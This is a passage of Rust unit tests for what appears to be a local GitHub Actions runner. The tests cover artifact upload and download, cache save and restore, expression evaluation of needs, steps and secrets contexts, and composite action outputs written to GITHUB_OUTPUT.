8137 secrets_context: &HashMap::new(),
8138 needs_context: &HashMap::new(),
8139 needs_results: &HashMap::new(),
8140 artifact_store: &artifact_store,
8141 cache_store: &cache_store,
8142 },
8143 pending_cache_saves: &pending,
8144 };
8145 let up_result = execute_step(up_ctx).await.unwrap();
8146 assert_eq!(
8147 up_result.status,
8148 StepStatus::Success,
8149 "upload step failed (this is the #88 regression): {}",
8150 up_result.output
8151 );
8152 assert!(
8153 up_result.output.contains("Uploaded artifact 'payload'"),
8154 "unexpected upload output: {}",
8155 up_result.output
8156 );
8157
8158 let dl_workspace = tempfile::tempdir().unwrap();
8160 let mut dl_with = HashMap::new();
8161 dl_with.insert("name".to_string(), "payload".to_string());
8162 dl_with.insert("path".to_string(), "dl".to_string());
8163 let dl_step = make_step(
8164 "download",
8165 "actions/download-artifact@v4",
8166 Some(dl_with),
8167 HashMap::new(),
8168 );
8169 let dl_ctx = StepExecutionContext {
8170 step: &dl_step,
8171 step_idx: 2,
8172 job_env: &job_env,
8173 job_user_env: &job_env,
8174 working_dir: dl_workspace.path(),
8175 runtime: &runtime,
8176 workflow: &workflow,
8177 runner_image: "ubuntu:latest",
8178 verbose: false,
8179 matrix_combination: &None,
8180 container_config: None,
8181 workflow_defaults: None,
8182 job_defaults: None,
8183 step_outputs: &HashMap::new(),
8184 step_statuses: &HashMap::new(),
8185 job_status: "success",
8186 services: JobServices {
8187 secret_manager: None,
8188 secret_masker: None,
8189 secrets_context: &HashMap::new(),
8190 needs_context: &HashMap::new(),
8191 needs_results: &HashMap::new(),
8192 artifact_store: &artifact_store,
8193 cache_store: &cache_store,
8194 },
8195 pending_cache_saves: &pending,
8196 };
8197 let dl_result = execute_step(dl_ctx).await.unwrap();
8198 assert_eq!(
8199 dl_result.status,
8200 StepStatus::Success,
8201 "download step failed: {}",
8202 dl_result.output
8203 );
8204
8205 let downloaded = std::fs::read_to_string(
8206 dl_workspace
8207 .path()
8208 .join("dl")
8209 .join("artifact-dir/payload.txt"),
8210 )
8211 .expect("downloaded payload.txt should exist");
8212 assert_eq!(downloaded, "hello\n");
8213 }
8214
8215 #[tokio::test]
8216 async fn cache_step_miss_defers_save_and_flush_works() {
8217 let runtime = MockContainerRuntime::default();
8218 let workflow = minimal_workflow();
8219 let working_dir = tempfile::tempdir().unwrap();
8220
8221 std::fs::create_dir_all(working_dir.path().join("node_modules")).unwrap();
8223 std::fs::write(working_dir.path().join("node_modules/pkg.json"), "{}").unwrap();
8224
8225 let cache_dir = tempfile::tempdir().unwrap();
8226 let cache_store =
8227 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8228 let artifact_dir = tempfile::tempdir().unwrap();
8229 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8230 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8231
8232 let mut with = HashMap::new();
8233 with.insert("key".to_string(), "deps-abc123".to_string());
8234 with.insert("path".to_string(), "node_modules".to_string());
8235 let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8236 let job_env = HashMap::new();
8237
8238 let ctx = StepExecutionContext {
8239 step: &step,
8240 step_idx: 0,
8241 job_env: &job_env,
8242 job_user_env: &job_env,
8243 working_dir: working_dir.path(),
8244 runtime: &runtime,
8245 workflow: &workflow,
8246 runner_image: "ubuntu:latest",
8247 verbose: false,
8248 matrix_combination: &None,
8249 container_config: None,
8250 workflow_defaults: None,
8251 job_defaults: None,
8252 step_outputs: &HashMap::new(),
8253 step_statuses: &HashMap::new(),
8254 job_status: "success",
8255 services: JobServices {
8256 secret_manager: None,
8257 secret_masker: None,
8258 secrets_context: &HashMap::new(),
8259 needs_context: &HashMap::new(),
8260 needs_results: &HashMap::new(),
8261 artifact_store: &artifact_store,
8262 cache_store: &cache_store,
8263 },
8264 pending_cache_saves: &pending,
8265 };
8266
8267 let result = execute_step(ctx).await.unwrap();
8268 assert_eq!(result.status, StepStatus::Success);
8269 assert!(result.output.contains("Cache miss"));
8270
8271 assert_eq!(pending.lock().unwrap().len(), 1);
8273
8274 flush_pending_cache_saves(&pending, &cache_store).await;
8276
8277 let workspace2 = tempfile::tempdir().unwrap();
8279 let restored = cache_store
8280 .restore("deps-abc123", &[], "node_modules", workspace2.path())
8281 .await;
8282 assert_eq!(restored, Some("deps-abc123".to_string()));
8283 assert!(workspace2.path().join("node_modules/pkg.json").exists());
8284 }
8285
8286 #[test]
8287 fn needs_context_flows_through_expression_evaluation() {
8288 let mut needs_ctx = HashMap::new();
8289 let mut build_outputs = HashMap::new();
8290 build_outputs.insert("artifact".to_string(), "dist.tar.gz".to_string());
8291 needs_ctx.insert("build".to_string(), build_outputs);
8292
8293 let mut needs_res = HashMap::new();
8294 needs_res.insert("build".to_string(), "success".to_string());
8295
8296 let empty_env = HashMap::new();
8297 let empty_steps = HashMap::new();
8298 let empty_statuses = HashMap::new();
8299 let empty_secrets = HashMap::new();
8300
8301 let ctx = crate::expression::ExpressionContext {
8302 env_context: &empty_env,
8303 step_outputs: &empty_steps,
8304 matrix_combination: &None,
8305 step_statuses: &empty_statuses,
8306 job_status: "success",
8307 secrets_context: &empty_secrets,
8308 needs_context: &needs_ctx,
8309 needs_results: &needs_res,
8310 user_env: &empty_env,
8311 };
8312
8313 let result = crate::expression::evaluate("needs.build.outputs.artifact", &ctx).unwrap();
8315 assert_eq!(
8316 result,
8317 crate::expression::ExprValue::String("dist.tar.gz".to_string())
8318 );
8319
8320 let result = crate::expression::evaluate("needs.build.result", &ctx).unwrap();
8322 assert_eq!(
8323 result,
8324 crate::expression::ExprValue::String("success".to_string())
8325 );
8326
8327 let result = crate::expression::evaluate("needs.deploy.result", &ctx).unwrap();
8329 assert_eq!(result, crate::expression::ExprValue::Null);
8330 }
8331
8332 #[test]
8333 fn step_outcome_conclusion_with_continue_on_error() {
8334 let mut step_statuses = HashMap::new();
8335 let mut job_status = "success".to_string();
8336
8337 let result = StepResult {
8339 name: "lint".to_string(),
8340 status: StepStatus::Failure,
8341 output: String::new(),
8342 outcome: StepStatus::Failure,
8343 conclusion: StepStatus::Success,
8344 };
8345 record_step_status(Some("lint"), &result, &mut step_statuses, &mut job_status);
8346
8347 assert_eq!(job_status, "success");
8349
8350 let empty_env = HashMap::new();
8351 let empty_steps = HashMap::new();
8352 let empty_secrets = HashMap::new();
8353 let empty_needs = HashMap::new();
8354 let empty_needs_results = HashMap::new();
8355
8356 let ctx = crate::expression::ExpressionContext {
8357 env_context: &empty_env,
8358 step_outputs: &empty_steps,
8359 matrix_combination: &None,
8360 step_statuses: &step_statuses,
8361 job_status: &job_status,
8362 secrets_context: &empty_secrets,
8363 needs_context: &empty_needs,
8364 needs_results: &empty_needs_results,
8365 user_env: &empty_env,
8366 };
8367
8368 let outcome = crate::expression::evaluate("steps.lint.outcome", &ctx).unwrap();
8370 assert_eq!(
8371 outcome,
8372 crate::expression::ExprValue::String("failure".to_string())
8373 );
8374
8375 let conclusion = crate::expression::evaluate("steps.lint.conclusion", &ctx).unwrap();
8377 assert_eq!(
8378 conclusion,
8379 crate::expression::ExprValue::String("success".to_string())
8380 );
8381
8382 let is_success = crate::expression::evaluate("success()", &ctx).unwrap();
8384 assert_eq!(is_success, crate::expression::ExprValue::Bool(true));
8385 }
8386
8387 #[test]
8388 fn secrets_context_resolves_in_expressions() {
8389 let mut secrets = HashMap::new();
8390 secrets.insert("API_KEY".to_string(), "sk-12345".to_string());
8391
8392 let empty_env = HashMap::new();
8393 let empty_steps = HashMap::new();
8394 let empty_statuses = HashMap::new();
8395 let empty_needs = HashMap::new();
8396 let empty_needs_results = HashMap::new();
8397
8398 let ctx = crate::expression::ExpressionContext {
8399 env_context: &empty_env,
8400 step_outputs: &empty_steps,
8401 matrix_combination: &None,
8402 step_statuses: &empty_statuses,
8403 job_status: "success",
8404 secrets_context: &secrets,
8405 needs_context: &empty_needs,
8406 needs_results: &empty_needs_results,
8407 user_env: &empty_env,
8408 };
8409
8410 let result = crate::expression::evaluate("secrets.API_KEY", &ctx).unwrap();
8411 assert_eq!(
8412 result,
8413 crate::expression::ExprValue::String("sk-12345".to_string())
8414 );
8415
8416 let result = crate::expression::evaluate("secrets.UNKNOWN", &ctx).unwrap();
8418 assert_eq!(result, crate::expression::ExprValue::Null);
8419 }
8420
8421 #[tokio::test]
8422 async fn download_artifact_rejects_path_traversal() {
8423 let runtime = MockContainerRuntime::default();
8424 let workflow = minimal_workflow();
8425 let working_dir = tempfile::tempdir().unwrap();
8426
8427 let artifact_dir = tempfile::tempdir().unwrap();
8428 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8429 let cache_dir = tempfile::tempdir().unwrap();
8430 let cache_store =
8431 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8432 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8433
8434 let mut dl_with = HashMap::new();
8435 dl_with.insert("name".to_string(), "my-artifact".to_string());
8436 dl_with.insert("path".to_string(), "../../escape".to_string());
8437 let step = make_step(
8438 "download",
8439 "actions/download-artifact@v4",
8440 Some(dl_with),
8441 HashMap::new(),
8442 );
8443 let job_env = HashMap::new();
8444
8445 let ctx = StepExecutionContext {
8446 step: &step,
8447 step_idx: 0,
8448 job_env: &job_env,
8449 job_user_env: &job_env,
8450 working_dir: working_dir.path(),
8451 runtime: &runtime,
8452 workflow: &workflow,
8453 runner_image: "ubuntu:latest",
8454 verbose: false,
8455 matrix_combination: &None,
8456 container_config: None,
8457 workflow_defaults: None,
8458 job_defaults: None,
8459 step_outputs: &HashMap::new(),
8460 step_statuses: &HashMap::new(),
8461 job_status: "success",
8462 services: JobServices {
8463 secret_manager: None,
8464 secret_masker: None,
8465 secrets_context: &HashMap::new(),
8466 needs_context: &HashMap::new(),
8467 needs_results: &HashMap::new(),
8468 artifact_store: &artifact_store,
8469 cache_store: &cache_store,
8470 },
8471 pending_cache_saves: &pending,
8472 };
8473
8474 let result = execute_step(ctx).await.unwrap();
8475 assert_eq!(result.status, StepStatus::Failure);
8476 assert!(result.output.contains("escapes workspace"));
8477 }
8478
8479 #[tokio::test]
8480 async fn download_artifact_all_when_name_empty() {
8481 let runtime = MockContainerRuntime::default();
8482 let workflow = minimal_workflow();
8483 let working_dir = tempfile::tempdir().unwrap();
8484
8485 std::fs::write(working_dir.path().join("a.txt"), "aaa").unwrap();
8487 std::fs::write(working_dir.path().join("b.txt"), "bbb").unwrap();
8488
8489 let artifact_dir = tempfile::tempdir().unwrap();
8490 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8491 artifact_store
8492 .upload("art-a", "a.txt", working_dir.path())
8493 .await
8494 .unwrap();
8495 artifact_store
8496 .upload("art-b", "b.txt", working_dir.path())
8497 .await
8498 .unwrap();
8499
8500 let cache_dir = tempfile::tempdir().unwrap();
8501 let cache_store =
8502 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8503 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8504
8505 let dl_with = HashMap::new();
8507 let step = make_step(
8508 "download-all",
8509 "actions/download-artifact@v4",
8510 Some(dl_with),
8511 HashMap::new(),
8512 );
8513 let dl_workspace = tempfile::tempdir().unwrap();
8514 let job_env = HashMap::new();
8515
8516 let ctx = StepExecutionContext {
8517 step: &step,
8518 step_idx: 0,
8519 job_env: &job_env,
8520 job_user_env: &job_env,
8521 working_dir: dl_workspace.path(),
8522 runtime: &runtime,
8523 workflow: &workflow,
8524 runner_image: "ubuntu:latest",
8525 verbose: false,
8526 matrix_combination: &None,
8527 container_config: None,
8528 workflow_defaults: None,
8529 job_defaults: None,
8530 step_outputs: &HashMap::new(),
8531 step_statuses: &HashMap::new(),
8532 job_status: "success",
8533 services: JobServices {
8534 secret_manager: None,
8535 secret_masker: None,
8536 secrets_context: &HashMap::new(),
8537 needs_context: &HashMap::new(),
8538 needs_results: &HashMap::new(),
8539 artifact_store: &artifact_store,
8540 cache_store: &cache_store,
8541 },
8542 pending_cache_saves: &pending,
8543 };
8544
8545 let result = execute_step(ctx).await.unwrap();
8546 assert_eq!(result.status, StepStatus::Success);
8547 assert!(result.output.contains("2 artifact(s)"));
8548 assert!(dl_workspace.path().join("art-a/a.txt").exists());
8550 assert!(dl_workspace.path().join("art-b/b.txt").exists());
8551 }
8552
8553 #[tokio::test]
8554 async fn cache_step_rejects_empty_key() {
8555 let runtime = MockContainerRuntime::default();
8556 let workflow = minimal_workflow();
8557 let working_dir = tempfile::tempdir().unwrap();
8558
8559 let cache_dir = tempfile::tempdir().unwrap();
8560 let cache_store =
8561 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8562 let artifact_dir = tempfile::tempdir().unwrap();
8563 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8564 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8565
8566 let mut with = HashMap::new();
8567 with.insert("key".to_string(), String::new());
8568 with.insert("path".to_string(), "node_modules".to_string());
8569 let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8570 let job_env = HashMap::new();
8571
8572 let ctx = StepExecutionContext {
8573 step: &step,
8574 step_idx: 0,
8575 job_env: &job_env,
8576 job_user_env: &job_env,
8577 working_dir: working_dir.path(),
8578 runtime: &runtime,
8579 workflow: &workflow,
8580 runner_image: "ubuntu:latest",
8581 verbose: false,
8582 matrix_combination: &None,
8583 container_config: None,
8584 workflow_defaults: None,
8585 job_defaults: None,
8586 step_outputs: &HashMap::new(),
8587 step_statuses: &HashMap::new(),
8588 job_status: "success",
8589 services: JobServices {
8590 secret_manager: None,
8591 secret_masker: None,
8592 secrets_context: &HashMap::new(),
8593 needs_context: &HashMap::new(),
8594 needs_results: &HashMap::new(),
8595 artifact_store: &artifact_store,
8596 cache_store: &cache_store,
8597 },
8598 pending_cache_saves: &pending,
8599 };
8600
8601 let result = execute_step(ctx).await.unwrap();
8602 assert_eq!(result.status, StepStatus::Failure);
8603 assert!(result.output.contains("not provided"));
8604 }
8605
8606 #[tokio::test]
8607 async fn cache_step_rejects_empty_path() {
8608 let runtime = MockContainerRuntime::default();
8609 let workflow = minimal_workflow();
8610 let working_dir = tempfile::tempdir().unwrap();
8611
8612 let cache_dir = tempfile::tempdir().unwrap();
8613 let cache_store =
8614 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8615 let artifact_dir = tempfile::tempdir().unwrap();
8616 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8617 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8618
8619 let mut with = HashMap::new();
8620 with.insert("key".to_string(), "deps-key".to_string());
8621 let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8623 let job_env = HashMap::new();
8624
8625 let ctx = StepExecutionContext {
8626 step: &step,
8627 step_idx: 0,
8628 job_env: &job_env,
8629 job_user_env: &job_env,
8630 working_dir: working_dir.path(),
8631 runtime: &runtime,
8632 workflow: &workflow,
8633 runner_image: "ubuntu:latest",
8634 verbose: false,
8635 matrix_combination: &None,
8636 container_config: None,
8637 workflow_defaults: None,
8638 job_defaults: None,
8639 step_outputs: &HashMap::new(),
8640 step_statuses: &HashMap::new(),
8641 job_status: "success",
8642 services: JobServices {
8643 secret_manager: None,
8644 secret_masker: None,
8645 secrets_context: &HashMap::new(),
8646 needs_context: &HashMap::new(),
8647 needs_results: &HashMap::new(),
8648 artifact_store: &artifact_store,
8649 cache_store: &cache_store,
8650 },
8651 pending_cache_saves: &pending,
8652 };
8653
8654 let result = execute_step(ctx).await.unwrap();
8655 assert_eq!(result.status, StepStatus::Failure);
8656 assert!(result.output.contains("not provided"));
8657 }
8658
8659 #[tokio::test]
8660 async fn cache_step_multi_path_defers_all_paths() {
8661 let runtime = MockContainerRuntime::default();
8662 let workflow = minimal_workflow();
8663 let working_dir = tempfile::tempdir().unwrap();
8664
8665 std::fs::create_dir_all(working_dir.path().join("node_modules")).unwrap();
8667 std::fs::write(working_dir.path().join("node_modules/pkg.json"), "{}").unwrap();
8668 std::fs::create_dir_all(working_dir.path().join(".npm")).unwrap();
8669 std::fs::write(working_dir.path().join(".npm/cache.bin"), "data").unwrap();
8670
8671 let cache_dir = tempfile::tempdir().unwrap();
8672 let cache_store =
8673 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8674 let artifact_dir = tempfile::tempdir().unwrap();
8675 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8676 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8677
8678 let mut with = HashMap::new();
8679 with.insert("key".to_string(), "deps-multi".to_string());
8680 with.insert("path".to_string(), "node_modules\n.npm".to_string());
8681 let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8682 let job_env = HashMap::new();
8683
8684 let ctx = StepExecutionContext {
8685 step: &step,
8686 step_idx: 0,
8687 job_env: &job_env,
8688 job_user_env: &job_env,
8689 working_dir: working_dir.path(),
8690 runtime: &runtime,
8691 workflow: &workflow,
8692 runner_image: "ubuntu:latest",
8693 verbose: false,
8694 matrix_combination: &None,
8695 container_config: None,
8696 workflow_defaults: None,
8697 job_defaults: None,
8698 step_outputs: &HashMap::new(),
8699 step_statuses: &HashMap::new(),
8700 job_status: "success",
8701 services: JobServices {
8702 secret_manager: None,
8703 secret_masker: None,
8704 secrets_context: &HashMap::new(),
8705 needs_context: &HashMap::new(),
8706 needs_results: &HashMap::new(),
8707 artifact_store: &artifact_store,
8708 cache_store: &cache_store,
8709 },
8710 pending_cache_saves: &pending,
8711 };
8712
8713 let result = execute_step(ctx).await.unwrap();
8714 assert_eq!(result.status, StepStatus::Success);
8715 assert!(result.output.contains("Cache miss"));
8716
8717 assert_eq!(pending.lock().unwrap().len(), 2);
8719
8720 flush_pending_cache_saves(&pending, &cache_store).await;
8722
8723 let ws2 = tempfile::tempdir().unwrap();
8724 let hit = cache_store
8725 .restore("deps-multi", &[], "node_modules", ws2.path())
8726 .await;
8727 assert!(hit.is_some());
8728 assert!(ws2.path().join("node_modules/pkg.json").exists());
8729
8730 let hit2 = cache_store
8731 .restore("deps-multi", &[], ".npm", ws2.path())
8732 .await;
8733 assert!(hit2.is_some());
8734 assert!(ws2.path().join(".npm/cache.bin").exists());
8735 }
8736
8737 #[test]
8740 fn build_needs_context_filters_to_declared_needs() {
8741 let mut all_outputs = HashMap::new();
8742 all_outputs.insert("build".to_string(), {
8743 let mut m = HashMap::new();
8744 m.insert("version".to_string(), "1.2.3".to_string());
8745 m
8746 });
8747 all_outputs.insert("lint".to_string(), {
8748 let mut m = HashMap::new();
8749 m.insert("status".to_string(), "ok".to_string());
8750 m
8751 });
8752 all_outputs.insert("deploy".to_string(), {
8753 let mut m = HashMap::new();
8754 m.insert("url".to_string(), "https://example.com".to_string());
8755 m
8756 });
8757
8758 let mut all_results = HashMap::new();
8759 all_results.insert("build".to_string(), "success".to_string());
8760 all_results.insert("lint".to_string(), "success".to_string());
8761 all_results.insert("deploy".to_string(), "failure".to_string());
8762
8763 let job = Job {
8765 needs: Some(vec!["build".to_string(), "lint".to_string()]),
8766 ..make_job(None, None)
8767 };
8768
8769 let (needs_out, needs_res) = build_needs_context(&job, &all_outputs, &all_results);
8770 assert_eq!(needs_out.len(), 2);
8771 assert!(needs_out.contains_key("build"));
8772 assert!(needs_out.contains_key("lint"));
8773 assert!(!needs_out.contains_key("deploy"));
8774 assert_eq!(needs_res.get("build").unwrap(), "success");
8775 assert_eq!(needs_res.get("lint").unwrap(), "success");
8776 assert!(!needs_res.contains_key("deploy"));
8777 }
8778
8779 #[test]
8782 fn aggregate_reusable_workflow_outputs_last_job_wins_on_collision() {
8783 let mut job_outputs = HashMap::new();
8784 job_outputs.insert("alpha".to_string(), {
8785 let mut m = HashMap::new();
8786 m.insert("result".to_string(), "from-alpha".to_string());
8787 m
8788 });
8789 job_outputs.insert("beta".to_string(), {
8790 let mut m = HashMap::new();
8791 m.insert("result".to_string(), "from-beta".to_string());
8792 m
8793 });
8794
8795 let merged = aggregate_reusable_workflow_outputs(&job_outputs);
8796 assert_eq!(merged.get("result").unwrap(), "from-beta");
8798 }
8799
8800 #[test]
8801 fn aggregate_reusable_workflow_outputs_empty_input() {
8802 let merged = aggregate_reusable_workflow_outputs(&HashMap::new());
8803 assert!(merged.is_empty());
8804 }
8805
8806 #[tokio::test]
8807 async fn download_artifact_all_with_empty_store() {
8808 let runtime = MockContainerRuntime::default();
8809 let workflow = minimal_workflow();
8810 let working_dir = tempfile::tempdir().unwrap();
8811
8812 let artifact_dir = tempfile::tempdir().unwrap();
8813 let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8814 let cache_dir = tempfile::tempdir().unwrap();
8815 let cache_store =
8816 crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8817 let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8818
8819 let dl_with = HashMap::new();
8821 let step = make_step(
8822 "download-all",
8823 "actions/download-artifact@v4",
8824 Some(dl_with),
8825 HashMap::new(),
8826 );
8827 let job_env = HashMap::new();
8828
8829 let ctx = StepExecutionContext {
8830 step: &step,
8831 step_idx: 0,
8832 job_env: &job_env,
8833 job_user_env: &job_env,
8834 working_dir: working_dir.path(),
8835 runtime: &runtime,
8836 workflow: &workflow,
8837 runner_image: "ubuntu:latest",
8838 verbose: false,
8839 matrix_combination: &None,
8840 container_config: None,
8841 workflow_defaults: None,
8842 job_defaults: None,
8843 step_outputs: &HashMap::new(),
8844 step_statuses: &HashMap::new(),
8845 job_status: "success",
8846 services: JobServices {
8847 secret_manager: None,
8848 secret_masker: None,
8849 secrets_context: &HashMap::new(),
8850 needs_context: &HashMap::new(),
8851 needs_results: &HashMap::new(),
8852 artifact_store: &artifact_store,
8853 cache_store: &cache_store,
8854 },
8855 pending_cache_saves: &pending,
8856 };
8857
8858 let result = execute_step(ctx).await.unwrap();
8859 assert_eq!(result.status, StepStatus::Success);
8860 assert!(result.output.contains("0 artifact(s)"));
8861 }
8862
8863 #[test]
8864 fn process_workflow_commands_multiple_set_outputs() {
8865 let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8866 let masker = SecretMasker::new();
8867
8868 process_workflow_commands(
8869 "::set-output name=a::1\n::set-output name=b::2\nnormal line\n::set-output name=a::overwritten\n",
8870 Some("step1"),
8871 &mut outputs,
8872 Some(&masker),
8873 );
8874
8875 let step_out = outputs.get("step1").unwrap();
8876 assert_eq!(step_out.get("a").unwrap(), "overwritten");
8877 assert_eq!(step_out.get("b").unwrap(), "2");
8878 }
8879
8880 #[test]
8881 fn process_workflow_commands_no_step_id_ignores_set_output() {
8882 let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8883 process_workflow_commands("::set-output name=x::val\n", None, &mut outputs, None);
8885 assert!(outputs.is_empty());
8886 }
8887
8888 #[test]
8889 fn propagate_composite_outputs_writes_to_github_output_file() {
8890 let action_yaml = r#"
8893name: Greet
8894outputs:
8895 message:
8896 description: The greeting
8897 value: ${{ steps.build-msg.outputs.msg }}
8898 static_val:
8899 description: A literal
8900 value: hello-literal
8901runs:
8902 using: composite
8903 steps: []
8904"#;
8905 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8906
8907 let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8909 let mut build_msg_outputs = HashMap::new();
8910 build_msg_outputs.insert("msg".to_string(), "Hi, World!".to_string());
8911 composite_step_outputs.insert("build-msg".to_string(), build_msg_outputs);
8912
8913 let action_env = HashMap::new();
8914
8915 let tmp = tempfile::NamedTempFile::new().unwrap();
8917 let tmp_path = tmp.path().to_string_lossy().to_string();
8918 let mut caller_env = HashMap::new();
8919 caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
8920
8921 let working_dir = std::env::temp_dir();
8922
8923 propagate_composite_outputs(
8924 &action_def,
8925 &composite_step_outputs,
8926 &action_env,
8927 &action_env,
8928 &caller_env,
8929 &working_dir,
8930 "success",
8931 );
8932
8933 let content = std::fs::read_to_string(&tmp_path).unwrap();
8935 assert!(
8936 content.contains("message=Hi, World!"),
8937 "Expected 'message=Hi, World!' in GITHUB_OUTPUT, got: {:?}",
8938 content
8939 );
8940 assert!(
8941 content.contains("static_val=hello-literal"),
8942 "Expected 'static_val=hello-literal' in GITHUB_OUTPUT, got: {:?}",
8943 content
8944 );
8945 }
8946
8947 #[test]
8948 fn propagate_composite_outputs_no_outputs_section_is_noop() {
8949 let action_yaml = r#"
8950name: NoOutputs
8951runs:
8952 using: composite
8953 steps: []
8954"#;
8955 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8956 let composite_step_outputs = HashMap::new();
8957 let action_env = HashMap::new();
8958
8959 let caller_env = HashMap::new();
8961 let working_dir = std::env::temp_dir();
8962
8963 propagate_composite_outputs(
8964 &action_def,
8965 &composite_step_outputs,
8966 &action_env,
8967 &action_env,
8968 &caller_env,
8969 &working_dir,
8970 "success",
8971 );
8972 }
8974
8975 #[test]
8976 fn propagate_composite_outputs_on_failure_writes_partial_outputs() {
8977 let action_yaml = r#"
8980name: PartialOutputs
8981outputs:
8982 greeting:
8983 description: From step that succeeded
8984 value: ${{ steps.ok-step.outputs.val }}
8985 missing:
8986 description: From step that never ran
8987 value: ${{ steps.never-ran.outputs.val }}
8988runs:
8989 using: composite
8990 steps: []
8991"#;
8992 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8993
8994 let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8996 let mut ok_outputs = HashMap::new();
8997 ok_outputs.insert("val".to_string(), "partial-result".to_string());
8998 composite_step_outputs.insert("ok-step".to_string(), ok_outputs);
8999 let action_env = HashMap::new();
9002
9003 let tmp = tempfile::NamedTempFile::new().unwrap();
9004 let tmp_path = tmp.path().to_string_lossy().to_string();
9005 let mut caller_env = HashMap::new();
9006 caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9007
9008 let working_dir = std::env::temp_dir();
9009
9010 propagate_composite_outputs(
9011 &action_def,
9012 &composite_step_outputs,
9013 &action_env,
9014 &action_env,
9015 &caller_env,
9016 &working_dir,
9017 "failure",
9018 );
9019
9020 let content = std::fs::read_to_string(&tmp_path).unwrap();
9021 assert!(
9022 content.contains("greeting=partial-result"),
9023 "Expected 'greeting=partial-result' in GITHUB_OUTPUT, got: {:?}",
9024 content
9025 );
9026 assert!(
9028 content.contains("missing="),
9029 "Expected 'missing=' in GITHUB_OUTPUT, got: {:?}",
9030 content
9031 );
9032 }
9033
9034 #[test]
9035 fn propagate_composite_outputs_nonexistent_step_resolves_empty() {
9036 let action_yaml = r#"
9040name: GhostStep
9041outputs:
9042 phantom:
9043 description: References a step that was never executed
9044 value: ${{ steps.ghost.outputs.result }}
9045runs:
9046 using: composite
9047 steps: []
9048"#;
9049 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9050
9051 let composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9052 let action_env = HashMap::new();
9053
9054 let tmp = tempfile::NamedTempFile::new().unwrap();
9055 let tmp_path = tmp.path().to_string_lossy().to_string();
9056 let mut caller_env = HashMap::new();
9057 caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9058
9059 let working_dir = std::env::temp_dir();
9060
9061 propagate_composite_outputs(
9062 &action_def,
9063 &composite_step_outputs,
9064 &action_env,
9065 &action_env,
9066 &caller_env,
9067 &working_dir,
9068 "success",
9069 );
9070
9071 let content = std::fs::read_to_string(&tmp_path).unwrap();
9072 assert!(
9074 content.contains("phantom="),
9075 "Expected 'phantom=' in GITHUB_OUTPUT, got: {:?}",
9076 content
9077 );
9078 }
9079
9080 #[test]
9081 fn propagate_composite_outputs_multiline_value_uses_heredoc() {
9082 let action_yaml = r#"
9086name: MultiLine
9087outputs:
9088 body:
9089 description: A multiline value
9090 value: ${{ steps.gen.outputs.text }}
9091 single:
9092 description: A single-line value
9093 value: ${{ steps.gen.outputs.title }}
9094runs:
9095 using: composite
9096 steps: []
9097"#;
9098 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9099
9100 let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9101 let mut gen_outputs = HashMap::new();
9102 gen_outputs.insert("text".to_string(), "line1\nline2\nline3".to_string());
9103 gen_outputs.insert("title".to_string(), "hello".to_string());
9104 composite_step_outputs.insert("gen".to_string(), gen_outputs);
9105
9106 let action_env = HashMap::new();
9107
9108 let tmp = tempfile::NamedTempFile::new().unwrap();
9109 let tmp_path = tmp.path().to_string_lossy().to_string();
9110 let mut caller_env = HashMap::new();
9111 caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9112
9113 let working_dir = std::env::temp_dir();
9114
9115 propagate_composite_outputs(
9116 &action_def,
9117 &composite_step_outputs,
9118 &action_env,
9119 &action_env,
9120 &caller_env,
9121 &working_dir,
9122 "success",
9123 );
9124
9125 let content = std::fs::read_to_string(&tmp_path).unwrap();
9126
9127 assert!(
9129 content.contains("body<<ghadelimiter"),
9130 "Expected heredoc format with ghadelimiter for multiline value in GITHUB_OUTPUT, got: {:?}",
9131 content
9132 );
9133
9134 assert!(
9136 content.contains("single=hello"),
9137 "Expected 'single=hello' in GITHUB_OUTPUT, got: {:?}",
9138 content
9139 );
9140
9141 let parsed = crate::github_env_files::parse_github_kv_file(&content);
9143 assert_eq!(
9144 parsed.get("body").map(|s| s.as_str()),
